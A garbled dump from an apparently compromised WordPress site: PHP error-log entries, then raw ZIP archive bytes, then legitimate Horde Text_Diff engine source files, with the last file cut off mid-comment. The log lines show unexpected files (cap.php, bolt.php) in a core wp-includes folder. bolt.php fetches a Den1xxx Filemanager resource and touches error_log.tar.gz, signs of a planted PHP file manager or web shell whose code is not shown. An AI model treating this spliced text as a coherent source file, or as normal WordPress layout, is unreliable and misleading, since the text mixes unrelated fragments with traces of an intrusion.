[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
